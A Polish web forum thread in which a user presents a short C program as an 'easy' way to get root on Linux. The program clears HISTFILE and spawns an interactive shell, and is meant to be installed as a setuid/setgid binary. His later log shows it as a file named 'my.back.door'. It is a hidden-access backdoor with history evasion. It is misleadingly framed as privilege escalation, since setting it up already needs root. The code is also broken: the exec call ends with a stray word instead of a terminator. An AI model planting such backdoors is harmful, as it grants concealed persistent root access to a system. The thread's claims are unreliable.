proste zdobywanie root

czas

Użytkownik
Dołączył
Grudzień 14, 2004
Posty
18
//*zaznaczam, ze tekst przeznaczony, dla bardziej zaawansowanych uzytkownikow forum */

przyblize moze nieco niektorym jeden ze sposobow zdobywania uprawnien uzytkownika root w systemie linux.

bedac na shellu tworzymy sobie plik o dowolnej nazwie, np. 'bd'
me@host<$ touch bd

edytujemy go w dowolny sposob (przez edycje pliku w mc, lub pico)
me@host<$ pico bd

w srodku piszemy:
Kod:
#include <unistd.h>

#include <sys/types.h>

#include <stdlib.h>



int main()

{

        unsetenv("HISTFILE");

        execl("/bin/sh","sh","-i",polish);

        return 0;

}

zapisujmy (ctrl+o) i zamykamy edytor (ctrl+x)

nastepnie musimy nadac odpowiednie wlasciwosci naszemu plikowi:
-rwsr-sr-x

nastepnie wydajemy uruchamiamy nasz program:
me@host<$ ./bd
root@host<# whoami;id
root
uid=0(root) gid=0(root) groups=0(root),..
 

czas

Użytkownik
Dołączył
Grudzień 14, 2004
Posty
18
no i jak testowal ktos ? (afkors testujcie tylko na domowych komputerach u siebie) :twisted:

:?
 

NETKOJI

Były Moderator
Dołączył
Sierpień 31, 2004
Posty
113
Originally posted by czas
no i jak testowal ktos ? (afkors testujcie tylko na domowych komputerach u siebie) :twisted:

:?

Z ciekawości odpaliłem to u siebie i stało się to, o czym myślałem, że się stanie, czyli: NIC
<

Wyzerowała się tylko wyszczególniona zmienna środowiskowa, ale po pownownym wywołaniu shella nie dało mi to jednak root'a
<
 

czas

Użytkownik
Dołączył
Grudzień 14, 2004
Posty
18
Originally posted by NETKOJI+--><div class='quotetop'>CYTAT(NETKOJI)</div>
<!--QuoteBegin-czas
no i jak testowal ktos ? (afkors testujcie tylko na domowych komputerach u siebie) :twisted:

:?

Z ciekawości odpaliłem to u siebie i stało się to, o czym myślałem, że się stanie, czyli: NIC
<

Wyzerowała się tylko wyszczególniona zmienna środowiskowa, ale po pownownym wywołaniu shella nie dało mi to jednak root'a
<
[/b]

hm... dziwne... :?
Kod:
 u@h:w$ whoami;id

test

uid=1003(test) gid=100(users) groups=100(users),98(nobody)

u@h:w$ ls -l my.back.door

-rwsr-sr-x  1 root root 10919 2004-11-26 11:45 my.back.door

u@h:w$ ./my.back.door

root@brain:/root/coder/bd# whoami;id

root

uid=0(root) gid=0(root) groups=100(users),98(nobody)

root@brain:/root/coder/bd#

szczerze mowiac, to nie wiem, czemu ci nie chodzi... moze zle wlasciwosci pliku ?
 
Do góry Bottom